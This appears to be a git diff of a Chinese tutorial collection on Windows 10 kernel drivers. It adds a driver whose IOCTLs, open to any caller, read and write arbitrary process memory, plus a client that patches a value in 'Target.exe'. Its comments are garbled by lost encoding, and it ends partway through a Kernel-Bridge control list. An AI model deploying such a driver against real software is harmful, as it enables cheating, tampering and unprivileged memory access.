+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "User_IOCTL", "User_IOCTL\User_IOCTL.vcxproj", "{0CC39709-2F4A-4623-B44B-3770A36F1DB6}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|ARM = Debug|ARM + Debug|ARM64 = Debug|ARM64 + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|ARM = Release|ARM + Release|ARM64 = Release|ARM64 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {E1E79D3C-A6C9-4333-B2FA-B2586BFD1399}.Debug|ARM.ActiveCfg = Debug|ARM + {E1E79D3C-A6C9-4333-B2FA-B2586BFD1399}.Debug|ARM.Build.0 = Debug|ARM + {E1E79D3C-A6C9-4333-B2FA-B2586BFD1399}.Debug|ARM.Deploy.0 = Debug|ARM + {E1E79D3C-A6C9-4333-B2FA-B2586BFD1399}.Debug|ARM64.ActiveCfg = Debug|ARM64 + {E1E79D3C-A6C9-4333-B2FA-B2586BFD1399}.Debug|ARM64.Build.0 = Debug|ARM64 + {E1E79D3C-A6C9-4333-B2FA-B2586BFD1399}.Debug|ARM64.Deploy.0 = Debug|ARM64 + {E1E79D3C-A6C9-4333-B2FA-B2586BFD1399}.Debug|x64.ActiveCfg = Debug|x64 + {E1E79D3C-A6C9-4333-B2FA-B2586BFD1399}.Debug|x64.Build.0 = Debug|x64 + {E1E79D3C-A6C9-4333-B2FA-B2586BFD1399}.Debug|x64.Deploy.0 = Debug|x64 + {E1E79D3C-A6C9-4333-B2FA-B2586BFD1399}.Debug|x86.ActiveCfg = Debug|Win32 + {E1E79D3C-A6C9-4333-B2FA-B2586BFD1399}.Debug|x86.Build.0 = Debug|Win32 + {E1E79D3C-A6C9-4333-B2FA-B2586BFD1399}.Debug|x86.Deploy.0 = Debug|Win32 + {E1E79D3C-A6C9-4333-B2FA-B2586BFD1399}.Release|ARM.ActiveCfg = Release|ARM + {E1E79D3C-A6C9-4333-B2FA-B2586BFD1399}.Release|ARM.Build.0 = Release|ARM + {E1E79D3C-A6C9-4333-B2FA-B2586BFD1399}.Release|ARM.Deploy.0 = Release|ARM + {E1E79D3C-A6C9-4333-B2FA-B2586BFD1399}.Release|ARM64.ActiveCfg = Release|ARM64 + {E1E79D3C-A6C9-4333-B2FA-B2586BFD1399}.Release|ARM64.Build.0 = Release|ARM64 + {E1E79D3C-A6C9-4333-B2FA-B2586BFD1399}.Release|ARM64.Deploy.0 = Release|ARM64 + {E1E79D3C-A6C9-4333-B2FA-B2586BFD1399}.Release|x64.ActiveCfg = Release|x64 + {E1E79D3C-A6C9-4333-B2FA-B2586BFD1399}.Release|x64.Build.0 = Release|x64 + {E1E79D3C-A6C9-4333-B2FA-B2586BFD1399}.Release|x64.Deploy.0 = Release|x64 + {E1E79D3C-A6C9-4333-B2FA-B2586BFD1399}.Release|x86.ActiveCfg = Release|Win32 + {E1E79D3C-A6C9-4333-B2FA-B2586BFD1399}.Release|x86.Build.0 = Release|Win32 + {E1E79D3C-A6C9-4333-B2FA-B2586BFD1399}.Release|x86.Deploy.0 = Release|Win32 + {0CC39709-2F4A-4623-B44B-3770A36F1DB6}.Debug|ARM.ActiveCfg = Debug|Win32 + {0CC39709-2F4A-4623-B44B-3770A36F1DB6}.Debug|ARM64.ActiveCfg = Debug|Win32 + {0CC39709-2F4A-4623-B44B-3770A36F1DB6}.Debug|x64.ActiveCfg = Debug|x64 + {0CC39709-2F4A-4623-B44B-3770A36F1DB6}.Debug|x64.Build.0 = Debug|x64 + {0CC39709-2F4A-4623-B44B-3770A36F1DB6}.Debug|x86.ActiveCfg = Debug|Win32 + {0CC39709-2F4A-4623-B44B-3770A36F1DB6}.Debug|x86.Build.0 = Debug|Win32 + {0CC39709-2F4A-4623-B44B-3770A36F1DB6}.Release|ARM.ActiveCfg = Release|Win32 + {0CC39709-2F4A-4623-B44B-3770A36F1DB6}.Release|ARM64.ActiveCfg = Release|Win32 + {0CC39709-2F4A-4623-B44B-3770A36F1DB6}.Release|x64.ActiveCfg = Release|x64 + {0CC39709-2F4A-4623-B44B-3770A36F1DB6}.Release|x64.Build.0 = Release|x64 + {0CC39709-2F4A-4623-B44B-3770A36F1DB6}.Release|x86.ActiveCfg = Release|Win32 + {0CC39709-2F4A-4623-B44B-3770A36F1DB6}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {3A5055F0-150D-4D17-BF8E-59371ED1BA15} + EndGlobalSection +EndGlobal diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Ioctl [\350\276\223\345\205\245\350\276\223\345\207\272\346\216\247\345\210\266\351\200\232\344\277\241]/Driver_IOCTL/Driver_IOCTL/Driver_IOCTL.inf" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Ioctl [\350\276\223\345\205\245\350\276\223\345\207\272\346\216\247\345\210\266\351\200\232\344\277\241]/Driver_IOCTL/Driver_IOCTL/Driver_IOCTL.inf" new file mode 100644 index 0000000..3575db7 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Ioctl [\350\276\223\345\205\245\350\276\223\345\207\272\346\216\247\345\210\266\351\200\232\344\277\241]/Driver_IOCTL/Driver_IOCTL/Driver_IOCTL.inf" @@ -0,0 +1,32 @@ +; +; Driver_IOCTL.inf +; + +[Version] +Signature="$WINDOWS NT$" +Class=System +ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} +Provider=%ManufacturerName% +DriverVer= +CatalogFile=Driver_IOCTL.cat + +[DestinationDirs] +DefaultDestDir = 12 + + +[SourceDisksNames] +1 = %DiskName%,,,"" + +[SourceDisksFiles] + + +[Manufacturer] +%ManufacturerName%=Standard,NT$ARCH$ + +[Standard.NT$ARCH$] + + +[Strings] +ManufacturerName="" ;TODO: Replace with your manufacturer name +ClassName="" +DiskName="Driver_IOCTL Source Disk" diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Ioctl [\350\276\223\345\205\245\350\276\223\345\207\272\346\216\247\345\210\266\351\200\232\344\277\241]/Driver_IOCTL/Driver_IOCTL/Driver_IOCTL.vcxproj" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Ioctl [\350\276\223\345\205\245\350\276\223\345\207\272\346\216\247\345\210\266\351\200\232\344\277\241]/Driver_IOCTL/Driver_IOCTL/Driver_IOCTL.vcxproj" new file mode 100644 index 0000000..e13cd46 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Ioctl [\350\276\223\345\205\245\350\276\223\345\207\272\346\216\247\345\210\266\351\200\232\344\277\241]/Driver_IOCTL/Driver_IOCTL/Driver_IOCTL.vcxproj" @@ -0,0 +1,153 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + Debug + ARM + + + Release + ARM + + + Debug + ARM64 + + + Release + ARM64 + + + + {E1E79D3C-A6C9-4333-B2FA-B2586BFD1399} + {dd38f7fc-d7bd-488b-9242-7d8754cde80d} + v4.5 + 12.0 + Debug + Win32 + Driver_IOCTL + + + + Windows10 + true + WindowsKernelModeDriver10.0 + Driver + WDM + + + Windows10 + false + WindowsKernelModeDriver10.0 + Driver + WDM + + + Windows10 + true + WindowsKernelModeDriver10.0 + Driver + WDM + false + + + Windows10 + false + WindowsKernelModeDriver10.0 + Driver + WDM + + + Windows10 + true + WindowsKernelModeDriver10.0 + Driver + WDM + + + Windows10 + false + WindowsKernelModeDriver10.0 + Driver + WDM + + + Windows10 + true + WindowsKernelModeDriver10.0 + Driver + WDM + + + Windows10 + false + WindowsKernelModeDriver10.0 + Driver + WDM + + + + + + + + + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + + false + + + + + + + + + + + + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Ioctl [\350\276\223\345\205\245\350\276\223\345\207\272\346\216\247\345\210\266\351\200\232\344\277\241]/Driver_IOCTL/Driver_IOCTL/Driver_IOCTL.vcxproj.filters" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Ioctl [\350\276\223\345\205\245\350\276\223\345\207\272\346\216\247\345\210\266\351\200\232\344\277\241]/Driver_IOCTL/Driver_IOCTL/Driver_IOCTL.vcxproj.filters" new file mode 100644 index 0000000..4d96ebb --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Ioctl [\350\276\223\345\205\245\350\276\223\345\207\272\346\216\247\345\210\266\351\200\232\344\277\241]/Driver_IOCTL/Driver_IOCTL/Driver_IOCTL.vcxproj.filters" @@ -0,0 +1,31 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {8E41214B-6785-4CFE-B992-037D68949A14} + inf;inv;inx;mof;mc; + + + + + Driver Files + + + + + Source Files + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Ioctl [\350\276\223\345\205\245\350\276\223\345\207\272\346\216\247\345\210\266\351\200\232\344\277\241]/Driver_IOCTL/Driver_IOCTL/main.c" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Ioctl [\350\276\223\345\205\245\350\276\223\345\207\272\346\216\247\345\210\266\351\200\232\344\277\241]/Driver_IOCTL/Driver_IOCTL/main.c" new file mode 100644 index 0000000..bef38ea --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Ioctl [\350\276\223\345\205\245\350\276\223\345\207\272\346\216\247\345\210\266\351\200\232\344\277\241]/Driver_IOCTL/Driver_IOCTL/main.c" @@ -0,0 +1,192 @@ +/* +IOCTL +*/ +#pragma warning (disable : 4100 4995 4002) + +/* ˳,Ȼᱨ */ +#include +#include + +/* ,Ȼᱨ */ +NTSTATUS NTAPI MmCopyVirtualMemory +( + PEPROCESS SourceProcess, + PVOID SourceAddress, + PEPROCESS TargetProcess, + PVOID TargetAddress, + SIZE_T BufferSize, + KPROCESSOR_MODE PreviousMode, + PSIZE_T ReturnSize +); + +/* ݽṹ */ +struct DataStruct +{ + HANDLE PID; //ID + PVOID64 Addr; //ַ + PVOID64 Result; // + SIZE_T Size; //С +}; + +/* ȡ */ +#define IOCTL_READ CTL_CODE(FILE_DEVICE_UNKNOWN, 0x999, METHOD_OUT_DIRECT, FILE_ANY_ACCESS) + +/* д */ +#define IOCTL_WRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x998, METHOD_OUT_DIRECT, FILE_ANY_ACCESS) + +/* Ը */ +#define DebugMessage(x, ...) DbgPrintEx(0, 0, x, __VA_ARGS__) + +/* 豸 */ +UNICODE_STRING g_DeviceName = RTL_CONSTANT_STRING(L"\\Device\\Driver_IOCTL"); + +/* 豸ӷ */ +UNICODE_STRING g_SymbolicLink = RTL_CONSTANT_STRING(L"\\DosDevices\\Driver_IOCTL"); + +/* 豸ָ */ +PDEVICE_OBJECT g_DeviceObject; + +/* ȡڴ */ +NTSTATUS MyReadProcessMemory(HANDLE PID, PVOID SourceAddr, PVOID TargetAddr, SIZE_T Size) +{ + PEPROCESS SourceProcess; + NTSTATUS Status = PsLookupProcessByProcessId(PID, &SourceProcess); + if (Status != STATUS_SUCCESS) return Status; + + SIZE_T Result; + PEPROCESS TargetProcess = PsGetCurrentProcess(); + Status = MmCopyVirtualMemory(SourceProcess, SourceAddr, TargetProcess, TargetAddr, Size, KernelMode, &Result); + return Status; +} + +/* дڴ */ +NTSTATUS MyWriteProcessMemory(HANDLE PID, PVOID SourceAddr, PVOID TargetAddr, SIZE_T Size) +{ + PEPROCESS SourceProcess; + NTSTATUS Status = PsLookupProcessByProcessId(PID, &SourceProcess); + if (Status != STATUS_SUCCESS) return Status; + + SIZE_T Result; + PEPROCESS TargetProcess = PsGetCurrentProcess(); + Status = MmCopyVirtualMemory(TargetProcess, TargetAddr, SourceProcess, SourceAddr, Size, KernelMode, &Result); + return Status; +} + +/* */ +NTSTATUS CreateFunction(PDEVICE_OBJECT device, PIRP irp) +{ + irp->IoStatus.Status = STATUS_SUCCESS; + irp->IoStatus.Information = 0; + + IoCompleteRequest(irp, IO_NO_INCREMENT); + return STATUS_SUCCESS; +} + +/* ر */ +NTSTATUS CloseFunction(PDEVICE_OBJECT device, PIRP irp) +{ + irp->IoStatus.Status = STATUS_SUCCESS; + irp->IoStatus.Information = 0; + + IoCompleteRequest(irp, IO_NO_INCREMENT); + return STATUS_SUCCESS; +} + +/* */ +NTSTATUS ControlFunction(PDEVICE_OBJECT device, PIRP irp) +{ + /* ȡIRPջλ */ + PIO_STACK_LOCATION Stack = IoGetCurrentIrpStackLocation(irp); + + /* ȡӦ */ + ULONG Code = Stack->Parameters.DeviceIoControl.IoControlCode; + + /* ݽṹ */ + struct DataStruct Data; + + /* ״̬ */ + NTSTATUS Status = STATUS_SUCCESS; + + switch (Code) //ȡڴػдڴ> + { + case IOCTL_READ://ȡڴ + { + /* */ + memcpy(&Data, irp->AssociatedIrp.SystemBuffer, sizeof(Data)); + + /* ȡ */ + PUCHAR Buffer = MmGetSystemAddressForMdl(irp->MdlAddress, NormalPagePriority); + + /* ȡڴ */ + if (Buffer && Data.Addr) + { + Status = MyReadProcessMemory(Data.PID, Data.Addr, Buffer, Data.Size); + if (Status == STATUS_SUCCESS) KeFlushIoBuffers(irp->MdlAddress, TRUE, FALSE); + else DebugMessage("ȡ : %d ", Status); + } + break; + } + case IOCTL_WRITE://дڴ + { + /* */ + memcpy(&Data, irp->AssociatedIrp.SystemBuffer, sizeof(Data)); + + /* ȡ */ + PUCHAR Buffer = MmGetSystemAddressForMdl(irp->MdlAddress, NormalPagePriority); + + /* дڴ */ + if (Buffer && Data.Addr) + { + Status = MyWriteProcessMemory(Data.PID, Data.Addr, Buffer, Data.Size); + if (Status == STATUS_SUCCESS) KeFlushIoBuffers(irp->MdlAddress, TRUE, FALSE); + else DebugMessage("д뷢 : %d", Status); + } + break; + } + } + + irp->IoStatus.Status = STATUS_SUCCESS; + irp->IoStatus.Information = 0; + IoCompleteRequest(irp, IO_NO_INCREMENT); + + return STATUS_SUCCESS; +} + +/* жغ */ +VOID DriverUnload(PDRIVER_OBJECT driver) +{ + /* ɾ豸ӷ */ + IoDeleteSymbolicLink(&g_SymbolicLink); + + /* ɾ豸 */ + IoDeleteDevice(driver->DeviceObject); + + DebugMessage("[+] 豸жسɹ"); +} + +/* ں */ +NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg) +{ + /* 豸 */ + IoCreateDevice(driver, 0, &g_DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &g_DeviceObject); + + /* 豸ӷ */ + IoCreateSymbolicLink(&g_SymbolicLink, &g_DeviceName); + + /* Ӧ */ + driver->MajorFunction[IRP_MJ_CREATE] = CreateFunction; + driver->MajorFunction[IRP_MJ_CLOSE] = CloseFunction; + driver->MajorFunction[IRP_MJ_DEVICE_CONTROL] = ControlFunction; + + /* жغ */ + driver->DriverUnload = DriverUnload; + + /* Ϊֱӷʽд */ + g_DeviceObject->Flags |= DO_DIRECT_IO; + + /* DO_DEVICE_INITIALIZING־ʱI/Oܾд򿪸豸Լ豸ϸ豸 */ + g_DeviceObject->Flags &= ~DO_DEVICE_INITIALIZING; + + DebugMessage("[+] 豸װسɹ"); + return STATUS_SUCCESS; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Ioctl [\350\276\223\345\205\245\350\276\223\345\207\272\346\216\247\345\210\266\351\200\232\344\277\241]/Driver_IOCTL/User_IOCTL/User_IOCTL.vcxproj" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Ioctl [\350\276\223\345\205\245\350\276\223\345\207\272\346\216\247\345\210\266\351\200\232\344\277\241]/Driver_IOCTL/User_IOCTL/User_IOCTL.vcxproj" new file mode 100644 index 0000000..deb9827 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Ioctl [\350\276\223\345\205\245\350\276\223\345\207\272\346\216\247\345\210\266\351\200\232\344\277\241]/Driver_IOCTL/User_IOCTL/User_IOCTL.vcxproj" @@ -0,0 +1,132 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {0CC39709-2F4A-4623-B44B-3770A36F1DB6} + UserIOCTL + 10.0.17763.0 + + + + Application + true + v141 + MultiByte + + + Application + false + v141 + true + MultiByte + + + Application + true + v141 + MultiByte + false + + + Application + false + v141 + true + MultiByte + + + + + + + + + + + + + + + + + + + + + + + Level3 + Disabled + true + true + + + Console + + + + + Level3 + Disabled + true + true + + + Console + + + + + Level3 + MaxSpeed + true + true + true + true + + + Console + true + true + + + + + Level3 + MaxSpeed + true + true + true + true + + + Console + true + true + + + + + + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Ioctl [\350\276\223\345\205\245\350\276\223\345\207\272\346\216\247\345\210\266\351\200\232\344\277\241]/Driver_IOCTL/User_IOCTL/User_IOCTL.vcxproj.filters" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Ioctl [\350\276\223\345\205\245\350\276\223\345\207\272\346\216\247\345\210\266\351\200\232\344\277\241]/Driver_IOCTL/User_IOCTL/User_IOCTL.vcxproj.filters" new file mode 100644 index 0000000..048f37d --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Ioctl [\350\276\223\345\205\245\350\276\223\345\207\272\346\216\247\345\210\266\351\200\232\344\277\241]/Driver_IOCTL/User_IOCTL/User_IOCTL.vcxproj.filters" @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + 源文件 + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Ioctl [\350\276\223\345\205\245\350\276\223\345\207\272\346\216\247\345\210\266\351\200\232\344\277\241]/Driver_IOCTL/User_IOCTL/User_IOCTL.vcxproj.user" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Ioctl [\350\276\223\345\205\245\350\276\223\345\207\272\346\216\247\345\210\266\351\200\232\344\277\241]/Driver_IOCTL/User_IOCTL/User_IOCTL.vcxproj.user" new file mode 100644 index 0000000..be25078 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Ioctl [\350\276\223\345\205\245\350\276\223\345\207\272\346\216\247\345\210\266\351\200\232\344\277\241]/Driver_IOCTL/User_IOCTL/User_IOCTL.vcxproj.user" @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Ioctl [\350\276\223\345\205\245\350\276\223\345\207\272\346\216\247\345\210\266\351\200\232\344\277\241]/Driver_IOCTL/User_IOCTL/main.cpp" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Ioctl [\350\276\223\345\205\245\350\276\223\345\207\272\346\216\247\345\210\266\351\200\232\344\277\241]/Driver_IOCTL/User_IOCTL/main.cpp" new file mode 100644 index 0000000..20330f5 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Ioctl [\350\276\223\345\205\245\350\276\223\345\207\272\346\216\247\345\210\266\351\200\232\344\277\241]/Driver_IOCTL/User_IOCTL/main.cpp" @@ -0,0 +1,186 @@ +/* +ûIOCTL +*/ + +#include +#include + +#include +#include + +/* ȡ */ +#define IOCTL_READ CTL_CODE(FILE_DEVICE_UNKNOWN, 0x999, METHOD_OUT_DIRECT, FILE_ANY_ACCESS) + +/* д */ +#define IOCTL_WRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x998, METHOD_OUT_DIRECT, FILE_ANY_ACCESS) + +/* ݽṹ */ +struct DataStruct +{ + HANDLE PID; //ID + PVOID64 Addr; //ַ + PVOID64 Result; // + SIZE_T Size; //С +}; + +class IOCTL +{ +private: + DWORD m_PID; + +public: + IOCTL() {} + ~IOCTL() {} + + /* ָ */ + bool attach(const char* process) + { + HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (Snap == INVALID_HANDLE_VALUE) return false; + + PROCESSENTRY32 ProcessInfo{ 0 }; + ProcessInfo.dwSize = sizeof(ProcessInfo); + + if (Process32First(Snap, &ProcessInfo)) + { + do + { + if (strcmp(process, ProcessInfo.szExeFile) == 0) + { + CloseHandle(Snap); + m_PID = ProcessInfo.th32ProcessID; + return true; + } + } while (Process32Next(Snap, &ProcessInfo)); + } + + CloseHandle(Snap); + return false; + } + + /* ָģ */ + MODULEENTRY32 find_module(const char* name) + { + MODULEENTRY32 Result{ 0 }; + Result.dwSize = sizeof(Result); + + HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, m_PID); + if (Snap == INVALID_HANDLE_VALUE) return Result; + + if (Module32First(Snap, &Result)) + { + do + { + if (strcmp(name, Result.szModule) == 0) + { + CloseHandle(Snap); + return Result; + } + } while (Module32Next(Snap, &Result)); + } + + CloseHandle(Snap); + return {}; + } + + /* ӵں豸 */ + HANDLE connect(const char* name) + { + return CreateFile(name, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); + } + + /* ȡڴ */ + template + T read(uintptr_t addr) + { + T Result; + + DataStruct Data{ 0 }; + Data.PID = (HANDLE)m_PID; + Data.Addr = (PVOID64)addr; + Data.Result = &Result; + Data.Size = sizeof(Result); + + HANDLE Device = connect("\\\\.\\Driver_IOCTL"); + if (Device != INVALID_HANDLE_VALUE) + { + DWORD Tips = 0; + DeviceIoControl(Device, IOCTL_READ, &Data, sizeof(Data), &Result, sizeof(Result), &Tips, NULL); + CloseHandle(Device); + } + else std::cout << " : " << GetLastError() << std::endl; + + return Result; + } + + /* дڴ */ + template + void write(uintptr_t addr, T Buf) + { + DataStruct Data{ 0 }; + Data.PID = (HANDLE)m_PID; + Data.Addr = (PVOID64)addr; + Data.Result = &Buf; + Data.Size = sizeof(Buf); + + HANDLE Device = connect("\\\\.\\Driver_IOCTL"); + if (Device != INVALID_HANDLE_VALUE) + { + DWORD Tips = 0; + DeviceIoControl(Device, IOCTL_WRITE, &Data, sizeof(Data), &Buf, sizeof(Buf), &Tips, NULL); + CloseHandle(Device); + } + else std::cout << " : " << GetLastError() << std::endl; + } +}; + +void test_read() +{ + IOCTL* g = new IOCTL(); + if (g->attach("Target.exe")) + { + MODULEENTRY32 mod = g->find_module("Target.exe"); + DWORD addr = (DWORD)mod.modBaseAddr; + + for (int i = 0; i < 1000000; i++) g->read(addr + 0x1C000); + } +} + +void test_write() +{ + IOCTL* g = new IOCTL(); + if (g->attach("Target.exe")) + { + MODULEENTRY32 mod = g->find_module("Target.exe"); + DWORD addr = (DWORD)mod.modBaseAddr; + + for (int i = 0; i < 1000000; i++) g->write(addr + 0x1C000, 200); + } +} + +int main(int argc, char* argv[]) +{ + IOCTL* g = new IOCTL(); + if (g->attach("Target.exe")) + { + MODULEENTRY32 mod = g->find_module("Target.exe"); + uintptr_t addr = (uintptr_t)mod.modBaseAddr; + + if (addr) + { + std::cout << "[+] ģַ : " << std::hex << addr << std::dec << std::endl; + + int res = g->read(addr + 0x1C000); + std::cout << "[+] ȡΪ : " << res << std::endl; + + std::cout << "[+] ޸" << std::endl; + g->write(addr + 0x1C000, 456); + + res = g->read(addr + 0x1C000); + std::cout << "[+] ޸ĺ,ٴζȡΪ : " << res << std::endl; + } + } + else std::cout << "[+] ܲҵָ" << std::endl; + system("pause"); + return 0; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Ioctl [\350\276\223\345\205\245\350\276\223\345\207\272\346\216\247\345\210\266\351\200\232\344\277\241]/README.md" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Ioctl [\350\276\223\345\205\245\350\276\223\345\207\272\346\216\247\345\210\266\351\200\232\344\277\241]/README.md" new file mode 100644 index 0000000..488d16b --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Ioctl [\350\276\223\345\205\245\350\276\223\345\207\272\346\216\247\345\210\266\351\200\232\344\277\241]/README.md" @@ -0,0 +1,8 @@ + +[百度网盘 提取码-mmup](https://pan.baidu.com/s/1JjziceV5lYm_n2FkqhZZNQ) + +[在线播放](https://www.ixigua.com/6855645091101573645/?utm_source=xiguastudio) + + + + diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Kernel-Bridge [\347\256\200\345\215\225\347\232\204\345\260\201\350\243\205]/CtlTypes.h" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Kernel-Bridge [\347\256\200\345\215\225\347\232\204\345\260\201\350\243\205]/CtlTypes.h" new file mode 100644 index 0000000..0aa8236 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/Kernel-Bridge [\347\256\200\345\215\225\347\232\204\345\260\201\350\243\205]/CtlTypes.h" @@ -0,0 +1,718 @@ +#pragma once + +constexpr int KB_API_VERSION = 8; + +namespace Ctls +{ + enum KbCtlIndices { + // Driver management: + /* 00 */ KbGetDriverApiVersion, + /* 01 */ KbGetHandlesCount, + + // Beeper: + /* 02 */ KbSetBeeperRegime, + /* 03 */ KbStartBeeper, + /* 04 */ KbStopBeeper, + /* 05 */ KbSetBeeperIn, + /* 06 */ KbSetBeeperOut, + /* 07 */ KbSetBeeperDivider, + /* 08 */ KbSetBeeperFrequency, + + // IO-Ports: + /* 09 */ KbReadPort, + /* 10 */ KbReadPortString, + /* 11 */ KbWritePort, + /* 12 */ KbWritePortString, + + // Interrupts: + /* 13 */ KbCli, + /* 14 */ KbSti, + /* 15 */ KbHlt, + + // MSR: + /* 16 */ KbReadMsr, + /* 17 */ KbWriteMsr, + + // CPUID: + /* 18 */ KbCpuid, + /* 19 */ KbCpuidEx, + + // TSC & PMC: + /* 20 */ KbReadPmc, + /* 21 */ KbReadTsc, + /* 22 */ KbReadTscp, + + // Memory management: + /* 23 */ KbAllocKernelMemory, + /* 24 */ KbFreeKernelMemory, + /* 25 */ KbAllocNonCachedMemory, + /* 26 */ KbFreeNonCachedMemory, + /* 27 */ KbCopyMoveMemory, + /* 28 */ KbFillMemory, + /* 29 */ KbEqualMemory, + + // Memory mappings: + /* 30 */ KbAllocateMdl, + /* 31 */ KbProbeAndLockPages, + /* 32 */ KbMapMdl, + /* 33 */ KbProtectMappedMemory, + /* 34 */ KbUnmapMdl, + /* 35 */ KbUnlockPages, + /* 36 */ KbFreeMdl, + /* 37 */ KbMapMemory, + /* 38 */ KbUnmapMemory, + + // Physical memory: + /* 39 */ KbAllocPhysicalMemory, + /* 40 */ KbFreePhysicalMemory, + /* 41 */ KbMapPhysicalMemory, + /* 42 */ KbUnmapPhysicalMemory, + /* 43 */ KbGetPhysicalAddress, + /* 44 */ KbGetVirtualForPhysical, + /* 45 */ KbReadPhysicalMemory, + /* 46 */ KbWritePhysicalMemory, + /* 47 */ KbReadDmiMemory, + + // Processes & Threads: + /* 48 */ KbGetEprocess, + /* 49 */ KbGetEthread, + /* 50 */ KbOpenProcess, + /* 51 */ KbOpenProcessByPointer, + /* 52 */ KbOpenThread, + /* 53 */ KbOpenThreadByPointer, + /* 54 */ KbDereferenceObject, + /* 55 */ KbCloseHandle, + /* 56 */ KbQueryInformationProcess, + /* 57 */ KbSetInformationProcess, + /* 58 */ KbQueryInformationThread, + /* 59 */ KbSetInformationThread, + /* 60 */ KbAllocUserMemory, + /* 61 */ KbFreeUserMemory, + /* 62 */ KbSecureVirtualMemory, + /* 63 */ KbUnsecureVirtualMemory, + /* 64 */ KbReadProcessMemory, + /* 65 */ KbWriteProcessMemory, + /* 66 */ KbTriggerCopyOnWrite, + /* 67 */ KbSuspendProcess, + /* 68 */ KbResumeProcess, + /* 69 */ KbGetThreadContext, + /* 70 */ 